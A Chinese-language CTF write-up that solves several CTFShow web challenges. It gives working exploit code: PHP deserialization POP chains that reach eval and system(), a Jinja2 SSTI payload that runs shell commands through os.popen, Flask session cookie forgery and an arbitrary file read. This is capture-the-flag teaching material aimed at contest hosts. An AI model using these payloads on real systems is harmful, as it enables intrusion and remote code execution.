CTFShow愚人杯|非预期解-Web-WriteUp

目录

  • Misc-WriteUp
  • WriteUp
    • easy_signin
    • 被遗忘的反序列化
    • easy_ssti
    • easy_flask
    • easy_php


Misc-WriteUp

Misc1
Misc2


WriteUp

easy_signin

刚进来是一张滑稽,看到url有一个img参数,好像是base64编码,解码后发现是

CTFShow愚人杯|非预期解-Web-WriteUp_第1张图片

解码后发现就是文件名,猜测有任意文件下载漏洞

CTFShow愚人杯|非预期解-Web-WriteUp_第2张图片

打开源代码发现传过来的是文件的base64编码

在这里插入图片描述

把index.php编码后传过去,把编码复制出来解码就得到内容了

CTFShow愚人杯|非预期解-Web-WriteUp_第3张图片

得到flag


被遗忘的反序列化

一大串PHP,各种类,最下面有反序列化

题目源码:


# 当前目录中有一个txt文件哦
error_reporting(0);
show_source(__FILE__);
include("check.php");
class EeE{
    public $text;
    public $eeee;
    public function __wakeup(){
        if ($this->text == "aaaa"){
            echo lcfirst($this->text);
        }
    }
    public function __get($kk){
        echo "$kk,eeeeeeeeeeeee";
    }
    public function __clone(){
        $a = new cycycycy;
        $a -> aaa();
    }
}
class cycycycy{
    public $a;
    private $b;
    public function aaa(){
        $get = $_GET['get'];
        $get = cipher($get);
        if($get === "p8vfuv8g8v8py"){
            eval($_POST["eval"]);
        }
    }
    public function __invoke(){
        $a_a = $this -> a;
        echo "\$a_a\$";
    }
}
class gBoBg{
    public $name;
    public $file;
    public $coos;
    private $eeee="-_-";
    public function __toString(){
        if(isset($this->name)){
            $a = new $this->coos($this->file);
            echo $a;
        }else if(!isset($this -> file)){
            return $this->coos->name;
        }else{
            $aa = $this->coos;
            $bb = $this->file;
            return $aa();
        }
    }
}
class w_wuw_w{
    public $aaa;
    public $key;
    public $file;
    public function __wakeup(){
        if(!preg_match("/php|63|\*|\?/i",$this -> key)){
            $this->key = file_get_contents($this -> file);
        }else{
            echo "不行哦";
        }
    }
    public function __destruct(){
        echo $this->aaa;
    }
    public function __invoke(){
        $this -> aaa = clone new EeE;
    }
}
$_ip = $_SERVER["HTTP_AAAAAA"];
unserialize($_ip);

把环境拷到本地,调试一会儿构造成功。

题目提示当前目录下有txt文件,不过当时没注意到,先读取了include进来的check.php,官解是用gBoBg的第一个分支读取txt文件名,再获取Hint,我这应该算是非预期了?小白不懂,反正我这没啥技术含量。

说我的解法吧,利用w_wuw_w的__wakeup读取check.php,用引用把aaa变量和key变量绑定,再利用析构函数输出就行,官解后面也利用了这个。

这里直接在php发请求了,代码如下。

$d = new w_wuw_w();
$d->file = 'check.php';
$d->aaa = &$d->key;
$t = serialize($d);

$opts = array('http' =>
    array(
        'method' => 'POST',
        'header' => "AAAAAA: $t",
    )
);
$context = stream_context_create($opts);
$result = file_get_contents('http://db67f21b-71ad-4f04-b1d4-9a83a72dd43d.challenge.ctf.show/', false, $context);
echo $result;

结果如下:

CTFShow愚人杯|非预期解-Web-WriteUp_第4张图片

简单的移位密码,需要解密的内容在cycycycy类中可以看到,可以在线工具,我用了python:

charset = 'qwertyuiopasdfghjklzxcvbnm123456789'
key = 'p8vfuv8g8v8py'
result = ''
for k in key:
    result += charset[(charset.index(k) + 4) % len(charset)]
print(result)

结果是fe1ka1ele1efp

继续寻找反序列化,构造好久做出来了。

这个跟官解也不太一样,但是也是调用了w_wuw_w的__invoke。

$c = new gBoBg();
$c->file = '';
$c->coos = new w_wuw_w();
$c->coos->aaa = $c;
$d = new w_wuw_w();
$d->aaa = $c;
$t = serialize($d);

得到flag:

CTFShow愚人杯|非预期解-Web-WriteUp_第5张图片


easy_ssti

源码提示app.zip,下载得到源码

from flask import Flask
from flask import render_template_string,render_template
app = Flask(__name__)
@app.route('/hello/')
def hello(name=None):
    return render_template('hello.html',name=name)
@app.route('/hello/')
def hellodear(name):
    if "ge" in name:
        return render_template_string('hello %s' % name)
    elif "f" not in name:
        return render_template_string('hello %s' % name)
    else:
        return 'Nonononon'

发现有模板注入,但是过滤了”f”,没事,可以用通配符
CTFShow愚人杯|非预期解-Web-WriteUp_第6张图片

构造payload如下,256如果不行可以用burp爆破

/hello/{{"".__class__.__mro__[1].__subclasses__()[256].__init__.__globals__["os"]["popen"]("cd ..; cat *lag").read()}}

CTFShow愚人杯|非预期解-Web-WriteUp_第7张图片


easy_flask

打开题目发现一个登录页面,先注册一个账号再说,过程中发现admin用户已经存在

CTFShow愚人杯|非预期解-Web-WriteUp_第8张图片

点进去发现网站可能的后台源码,附带一个key,于是想到session伪造

CTFShow愚人杯|非预期解-Web-WriteUp_第9张图片

脚本是大佬写的,贴一个脚本下载地址https://github.com/noraj/flask-session-cookie-manager,使用方法在下面

复制session和key,用脚本解密

在这里插入图片描述

修改username为admin,role为admin

CTFShow愚人杯|非预期解-Web-WriteUp_第10张图片

修改session再次访问

CTFShow愚人杯|非预期解-Web-WriteUp_第11张图片

多了一个下载fakeflag的链接,任意文件下载来了,在app.py中找到了新路径

CTFShow愚人杯|非预期解-Web-WriteUp_第12张图片

一个python代码执行

CTFShow愚人杯|非预期解-Web-WriteUp_第13张图片

至此得到flag


easy_php

题目如下:


/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2023-03-24 10:16:33
# @Last Modified by:   h1xa
# @Last Modified time: 2023-03-25 00:25:52
# @email: [email protected]
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
    public function __wakeup(){
        die("not allowed!");
    }
    public function __destruct(){
        system($this->ctfshow);
    }
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
    unserialize($data);
}
?>

考的是反序列化,不过与上一篇的不一样,因为开头过滤了字母O这次是利用ArrayObject进行反序列化

解题代码如下:


error_reporting(0);
class ctfshow{
    public $ctfshow;
}
$a = new ctfshow();
$a->ctfshow = $_GET['cmd'];
$arrobj = new ArrayObject($a);
$t = serialize($arrobj);
$ret = file_get_contents('http://6ea5e156-04f0-41a7-a7f2-1aeba5b79670.challenge.ctf.show/?1%2B1>2='.urlencode($t));
echo $ret;
?>

在本地运行,很方便地得到flag,当然直接传上去也行:
CTFShow愚人杯|非预期解-Web-WriteUp_第14张图片

你可能感兴趣的:(php,python,网络安全,web安全,安全)